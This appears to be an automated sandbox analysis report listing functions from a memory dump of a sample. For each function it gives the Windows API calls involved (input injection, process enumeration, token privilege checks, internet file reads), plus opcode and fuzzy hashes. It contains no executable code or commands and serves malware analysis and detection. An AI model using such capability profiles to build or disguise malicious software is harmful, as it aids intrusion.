Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 607fcb7ca1aabe10a710210a84450fe5aceaeeaa7248066b4366b4c513044303
Instruction ID: 9e21d8551fc984ec018455170886c31510c513f76000638be5edb13acbfeba11
Opcode Fuzzy Hash: 607fcb7ca1aabe10a710210a84450fe5aceaeeaa7248066b4366b4c513044303
Instruction Fuzzy Hash: ED412472A00314AFD724AF38CC41FEABBE9EB88710F5085AEF115DB782D37199818780

Function 00B556D9 Relevance: 6.1, APIs: 4, Instructions: 110fileCOMMON

Download Yara Rule

APIs

CreateHardLinkW.KERNEL32(00000002,?,00000000), ref: 00B55783
GetLastError.KERNEL32(?,00000000), ref: 00B557A9
DeleteFileW.KERNEL32(00000002,?,00000000), ref: 00B557CE
CreateHardLinkW.KERNEL32(00000002,?,00000000,?,00000000), ref: 00B557FA

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: CreateHardLink$DeleteErrorFileLast
String ID:
API String ID: 3321077145-0
Opcode ID: 553fce800eaa1f00f18b0ebd11e4acd5d9b16baf0d91576a280f3c7977456483
Instruction ID: ead6bdf6dc01ae016b1553e1617ca1cf6dfe11ac8b6b47e34bb5f6be5764bd55
Opcode Fuzzy Hash: 553fce800eaa1f00f18b0ebd11e4acd5d9b16baf0d91576a280f3c7977456483
Instruction Fuzzy Hash: 4C412C35600A50DFCB21DF15C544A1EBBF2EF89721B198488EC4AAB362CB30FD45CBA1

Function 00B1D8C3 Relevance: 6.1, APIs: 4, Instructions: 110COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(?,00000000,8BE85006,00B06D71,00000000,00000000,00B082D9,?,00B082D9,?,00000001,00B06D71,8BE85006,00000001,00B082D9,00B082D9), ref: 00B1D910
MultiByteToWideChar.KERNEL32(?,00000001,?,?,00000000,?), ref: 00B1D999
GetStringTypeW.KERNEL32(?,00000000,00000000,?), ref: 00B1D9AB
__freea.LIBCMT ref: 00B1D9B4

Part of subcall function 00B13820: RtlAllocateHeap.NTDLL(00000000,?,00BB1444,?,00AFFDF5,?,?,00AEA976,00000010,00BB1440,00AE13FC,?,00AE13C6,?,00AE1129), ref: 00B13852

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: ByteCharMultiWide$AllocateHeapStringType__freea
String ID:
API String ID: 2652629310-0
Opcode ID: 5310874f90bc2548ac21617c4957700878d4972ae265eb05c767ce0262c2ed4c
Instruction ID: d05468e9bb465a18b656e6bf1d49f722db8904ee9a486a0d3102df0cb162aa4f
Opcode Fuzzy Hash: 5310874f90bc2548ac21617c4957700878d4972ae265eb05c767ce0262c2ed4c
Instruction Fuzzy Hash: E731AE72A0020AABDF249F64DC85EEE7BE5EB41750B4542A8FC04D7190EB35DD94CBA0

Function 00B752C1 Relevance: 6.1, APIs: 4, Instructions: 104windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00001024,00000000,?), ref: 00B75352
GetWindowLongW.USER32(?,000000F0), ref: 00B75375
SetWindowLongW.USER32(?,000000F0,00000000), ref: 00B75382
InvalidateRect.USER32(?,00000000,00000001,?,?,?), ref: 00B753A8

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: LongWindow$InvalidateMessageRectSend
String ID:
API String ID: 3340791633-0
Opcode ID: 10d584b36e4bda5625fcef9cd0c9f0ff8524b57151f568604f5ae66046368140
Instruction ID: 445d2640d25efb15673d89c3e930425cc1d29f2fb89f1646d243f90d9319569b
Opcode Fuzzy Hash: 10d584b36e4bda5625fcef9cd0c9f0ff8524b57151f568604f5ae66046368140
Instruction Fuzzy Hash: CD31E630A55A0CEFEB309E14CC55BE837E5EB04390F558185FA2A971F0C7F0AE809749

Function 00B4AB9C Relevance: 6.1, APIs: 4, Instructions: 103keyboardwindowCOMMON

Download Yara Rule

APIs

GetKeyboardState.USER32(?,75C0C0D0,?,00008000), ref: 00B4ABF1
SetKeyboardState.USER32(00000080,?,00008000), ref: 00B4AC0D
PostMessageW.USER32(00000000,00000101,00000000), ref: 00B4AC74
SendInput.USER32(00000001,?,0000001C,75C0C0D0,?,00008000), ref: 00B4ACC6

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: KeyboardState$InputMessagePostSend
String ID:
API String ID: 432972143-0
Opcode ID: 85f6eb2357e6e8ac53287cb2206e0e75481dc729013b3984e0ef2cb4b02f8e54
Instruction ID: a6575ecb2928581334881d227feb02cf0f9e3f4cb12bd3bf9a818f6e3fe98dd2
Opcode Fuzzy Hash: 85f6eb2357e6e8ac53287cb2206e0e75481dc729013b3984e0ef2cb4b02f8e54
Instruction Fuzzy Hash: E3312630A802186FEF74CB648C84BFA7BE5EB89310F04429EE485931D2C375DB85A792

Function 00B77674 Relevance: 6.1, APIs: 4, Instructions: 102windowCOMMON

Download Yara Rule

APIs

ClientToScreen.USER32(?,?), ref: 00B7769A
GetWindowRect.USER32(?,?), ref: 00B77710
PtInRect.USER32(?,?,00B78B89), ref: 00B77720
MessageBeep.USER32(00000000), ref: 00B7778C

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: Rect$BeepClientMessageScreenWindow
String ID:
API String ID: 1352109105-0
Opcode ID: fff67132235f11358327eafd86253479f7f908a20cd7af3e2bb456e761c94813
Instruction ID: ee83c9a23657311b424a49e77d96162aed172039a23ccfe3becd24ba3d670ae1
Opcode Fuzzy Hash: fff67132235f11358327eafd86253479f7f908a20cd7af3e2bb456e761c94813
Instruction Fuzzy Hash: 6F419C34645254AFCB06CF58C894EA97BF5FB48304F1481E8E4689B261CB70ED42CF90

Function 00B716DA Relevance: 6.1, APIs: 4, Instructions: 101COMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32 ref: 00B716EB

Part of subcall function 00B43A3D: GetWindowThreadProcessId.USER32(?,00000000), ref: 00B43A57
Part of subcall function 00B43A3D: GetCurrentThreadId.KERNEL32 ref: 00B43A5E
Part of subcall function 00B43A3D: AttachThreadInput.USER32(00000000,?,00000000,00000000,?,00B425B3), ref: 00B43A65

GetCaretPos.USER32(?), ref: 00B716FF
ClientToScreen.USER32(00000000,?), ref: 00B7174C
GetForegroundWindow.USER32 ref: 00B71752

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: ThreadWindow$Foreground$AttachCaretClientCurrentInputProcessScreen
String ID:
API String ID: 2759813231-0
Opcode ID: 3edb25671fcc6c67d228de04ddec3ec5d47d6a539da7947ef80faea821f60b14
Instruction ID: c8f4ff6ca4e1aa03c068b849dda22141e09777d7064143caa771b06562451357
Opcode Fuzzy Hash: 3edb25671fcc6c67d228de04ddec3ec5d47d6a539da7947ef80faea821f60b14
Instruction Fuzzy Hash: 37315271D00249AFC704EFAAC981DAEBBF9EF48304B5484A9E425E7251DB31DE45CBA0

Function 00B4DF95 Relevance: 6.1, APIs: 4, Instructions: 87COMMON

Download Yara Rule

APIs

Part of subcall function 00AE7620: _wcslen.LIBCMT ref: 00AE7625

_wcslen.LIBCMT ref: 00B4DFCB
_wcslen.LIBCMT ref: 00B4DFE2
_wcslen.LIBCMT ref: 00B4E00D
GetTextExtentPoint32W.GDI32(?,00000000,00000000,?), ref: 00B4E018

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: _wcslen$ExtentPoint32Text
String ID:
API String ID: 3763101759-0
Opcode ID: 63d6b10fc79dfb90c9c337dbfcb22d476a1437463ceaa5c3f1d9aa45f0a35028
Instruction ID: 9e69a6a8680f560b35ed25e4ee91870944bad03d31afa465bcc66e36f9126006
Opcode Fuzzy Hash: 63d6b10fc79dfb90c9c337dbfcb22d476a1437463ceaa5c3f1d9aa45f0a35028
Instruction Fuzzy Hash: B621B771900214AFCB20DFA8D982B6EBBF8EF45750F1440A9E915BB381D7709E40CBA1

Function 00B4D4DC Relevance: 6.1, APIs: 4, Instructions: 86processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32 ref: 00B4D501
Process32FirstW.KERNEL32(00000000,?), ref: 00B4D50F
Process32NextW.KERNEL32(00000000,?), ref: 00B4D52F
CloseHandle.KERNEL32(00000000), ref: 00B4D5DC

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32
String ID:
API String ID: 420147892-0
Opcode ID: 181e0896e6566cf495d7d4160f2869f0d409fb2e09fb1ff35f5a208cee3172d1
Instruction ID: 5dcf12e54208f7f3ac5f9ab393a84fba26975fe9cf314b16613d5548fded30a9
Opcode Fuzzy Hash: 181e0896e6566cf495d7d4160f2869f0d409fb2e09fb1ff35f5a208cee3172d1
Instruction Fuzzy Hash: C931B1311083409FD300EF54C881AAFBBE8EFA9354F50092DF585971A1EF719A84CB93

Function 00B78FC9 Relevance: 6.1, APIs: 4, Instructions: 78windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00AF9BA1: GetWindowLongW.USER32(00000000,000000EB), ref: 00AF9BB2

GetCursorPos.USER32(?), ref: 00B79001
TrackPopupMenuEx.USER32(?,00000000,?,?,?,00000000,?,00B37711,?,?,?,?,?), ref: 00B79016
GetCursorPos.USER32(?), ref: 00B7905E
DefDlgProcW.USER32(?,0000007B,?,?,?,?,?,?,?,?,?,?,00B37711,?,?,?), ref: 00B79094

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: Cursor$LongMenuPopupProcTrackWindow
String ID:
API String ID: 2864067406-0
Opcode ID: 1112f8527d870d02fdd05b0baf6a27865793e91cf058558a1248f554c2bb1462
Instruction ID: 7fb4bb635ac7d60919b002e1fe58fe89d64adf18a0dbf8d1cdc05905de37d23d
Opcode Fuzzy Hash: 1112f8527d870d02fdd05b0baf6a27865793e91cf058558a1248f554c2bb1462
Instruction Fuzzy Hash: 2F21D135610018EFCB258F98CC99EFA3BF9FF89350F008199F919572A1C7719990DB60

Function 00B4D2C1 Relevance: 6.1, APIs: 4, Instructions: 78COMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNEL32(?,00B7CB68), ref: 00B4D2FB
GetLastError.KERNEL32 ref: 00B4D30A
CreateDirectoryW.KERNEL32(?,00000000), ref: 00B4D319
CreateDirectoryW.KERNEL32(?,00000000,00000000,000000FF,00B7CB68), ref: 00B4D376

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: CreateDirectory$AttributesErrorFileLast
String ID:
API String ID: 2267087916-0
Opcode ID: 1827ba1effb6973c4b45444642c2c6569e8a54e1734beb1485cf4f34c52e2abe
Instruction ID: 07fa1316cad3793bf88041fe8418ad2c5c8bc451b17c00063765358b7834bd11
Opcode Fuzzy Hash: 1827ba1effb6973c4b45444642c2c6569e8a54e1734beb1485cf4f34c52e2abe
Instruction Fuzzy Hash: 1421AE705083019F8710DF28C98186ABBE8EF5A324F504A9DF499D72A1EB30DE46DB97

Function 00B41571 Relevance: 6.1, APIs: 4, Instructions: 78memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00B41014: GetTokenInformation.ADVAPI32(?,00000003(TokenIntegrityLevel),?,00000000,?), ref: 00B4102A
Part of subcall function 00B41014: GetLastError.KERNEL32(?,TokenIntegrityLevel,?,00000000,?), ref: 00B41036
Part of subcall function 00B41014: GetProcessHeap.KERNEL32(00000008,?,?,TokenIntegrityLevel,?,00000000,?), ref: 00B41045
Part of subcall function 00B41014: HeapAlloc.KERNEL32(00000000,?,TokenIntegrityLevel,?,00000000,?), ref: 00B4104C
Part of subcall function 00B41014: GetTokenInformation.ADVAPI32(?,00000003(TokenIntegrityLevel),00000000,?,?,?,TokenIntegrityLevel,?,00000000,?), ref: 00B41062

LookupPrivilegeValueW.ADVAPI32(00000000,?,?), ref: 00B415BE
_memcmp.LIBVCRUNTIME ref: 00B415E1
GetProcessHeap.KERNEL32(00000000,00000000), ref: 00B41617
HeapFree.KERNEL32(00000000), ref: 00B4161E

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: Heap$InformationProcessToken$AllocErrorFreeLastLookupPrivilegeValue_memcmp
String ID:
API String ID: 1592001646-0
Opcode ID: bb169cb805cd8a923dccbd1a51e49cfff0fb2b769f3899c51e275b97fc70f3b3
Instruction ID: 796d752111e569dad63cfbe16f8c9a850e1ab283666d14ccf2ef629fcc9d9894
Opcode Fuzzy Hash: bb169cb805cd8a923dccbd1a51e49cfff0fb2b769f3899c51e275b97fc70f3b3
Instruction Fuzzy Hash: 82217C31E00108AFDB00DFA8C945BEEB7F8EF44344F194899E445A7241D730AA85DB90

Function 00B72782 Relevance: 6.1, APIs: 4, Instructions: 75COMMON

Download Yara Rule

APIs

GetWindowLongW.USER32(?,000000EC), ref: 00B7280A
SetWindowLongW.USER32(?,000000EC,00000000), ref: 00B72824
SetWindowLongW.USER32(?,000000EC,00000000), ref: 00B72832
SetLayeredWindowAttributes.USER32(?,00000000,?,00000002), ref: 00B72840

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: Window$Long$AttributesLayered
String ID:
API String ID: 2169480361-0
Opcode ID: ed49f6301cbbd95d346ba94f624f3f666e85240faa74a4b879a60e72b70d366d
Instruction ID: 65fc732fffc79d05213ec8d563162a4b1b21168cb08cff3dd811fb6422f1280c
Opcode Fuzzy Hash: ed49f6301cbbd95d346ba94f624f3f666e85240faa74a4b879a60e72b70d366d
Instruction Fuzzy Hash: A321B331605511AFD7149B24C845FAA7BD5EF45324F14C19CF42A8B6E2CB72FD82C791

Function 00B5CE44 Relevance: 6.1, APIs: 4, Instructions: 75filenetworkCOMMON

Download Yara Rule

APIs

InternetReadFile.WININET(?,?,00000400,?), ref: 00B5CE89
GetLastError.KERNEL32(?,00000000), ref: 00B5CEEA
SetEvent.KERNEL32(?,?,00000000), ref: 00B5CEFE

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: ErrorEventFileInternetLastRead
String ID:
API String ID: 234945975-0
Opcode ID: 8cd63efca0176c18bef22e8ae6505a07c5a74ea8c684b784ba1e162da8395360
Instruction ID: a365787cc9ab1b7d5f2047c49e56f7d986968c32734c4cd8fff795ed58ccc69e
Opcode Fuzzy Hash: 8cd63efca0176c18bef22e8ae6505a07c5a74ea8c684b784ba1e162da8395360
Instruction Fuzzy Hash: A821BDB15003059FE720CFA5C989BAA7FF9EB00315F1048DEE946A2191EB70EE488B50

Function 00B478F5 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 71stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00B48D7D: lstrlenW.KERNEL32(?,00000002,000000FF,?,?,?,00B4790A,?,000000FF,?,00B48754,00000000,?,0000001C,?,?), ref: 00B48D8C
Part of subcall function 00B48D7D: lstrcpyW.KERNEL32(00000000,?), ref: 00B48DB2
Part of subcall function 00B48D7D: lstrcmpiW.KERNEL32(00000000,?,00B4790A,?,000000FF,?,00B48754,00000000,?,0000001C,?,?), ref: 00B48DE3

lstrlenW.KERNEL32(?,00000002,000000FF,?,000000FF,?,00B48754,00000000,?,0000001C,?,?,00000000), ref: 00B47923
lstrcpyW.KERNEL32(00000000,?), ref: 00B47949
lstrcmpiW.KERNEL32(00000002,cdecl,?,00B48754,00000000,?,0000001C,?,?,00000000), ref: 00B47984

Strings

cdecl, xrefs: 00B4797B

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: lstrcmpilstrcpylstrlen
String ID: cdecl
API String ID: 4031866154-3896280584
Opcode ID: 6ac15fa3208f22a912cd96f644047564a8bc58cd621b3550294eb7ebe9946376
Instruction ID: 95781c7f47d539d39277be62e11b59d70c0993a2fcb912e1436a0579c2306540
Opcode Fuzzy Hash: 6ac15fa3208f22a912cd96f644047564a8bc58cd621b3550294eb7ebe9946376
Instruction Fuzzy Hash: 0611033A200242BFCB159F38C844D7A77E9FF85350B40406EF946C72A4EF319A01D7A1

Function 00B77CC2 Relevance: 6.1, APIs: 4, Instructions: 70COMMON

Download Yara Rule

APIs

GetWindowLongW.USER32(?,000000F0), ref: 00B77D0B
SetWindowLongW.USER32(00000000,000000F0,?), ref: 00B77D2A
SetWindowLongW.USER32(00000000,000000EC,000000FF), ref: 00B77D42
SetWindowPos.USER32(00000000,00000000,00000000,00000000,00000000,00000000,?,?,?,?,?,?,?,?,00B5B7AD,00000000), ref: 00B77D6B

Part of subcall function 00AF9BA1: GetWindowLongW.USER32(00000000,000000EB), ref: 00AF9BB2

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: Window$Long
String ID:
API String ID: 847901565-0
Opcode ID: 49a0cb7230942a06986f613b17b36bd0714587345a444a38eba8e3690b14e781
Instruction ID: 608aad12c0bd7a1199ab5d9ae0e6fe9a4bdd63c10b598d1a638af5170ba26d43
Opcode Fuzzy Hash: 49a0cb7230942a06986f613b17b36bd0714587345a444a38eba8e3690b14e781
Instruction Fuzzy Hash: D811CD72204614AFCB208F68CC44AAA3BE4EF45360B258768F83DC72F0DB318961CB80

Function 00B75660 Relevance: 6.1, APIs: 4, Instructions: 67windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00001060,?,00000004), ref: 00B756BB
_wcslen.LIBCMT ref: 00B756CD
_wcslen.LIBCMT ref: 00B756D8
SendMessageW.USER32(?,00001002,00000000,?), ref: 00B75816

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: MessageSend_wcslen
String ID:
API String ID: 455545452-0
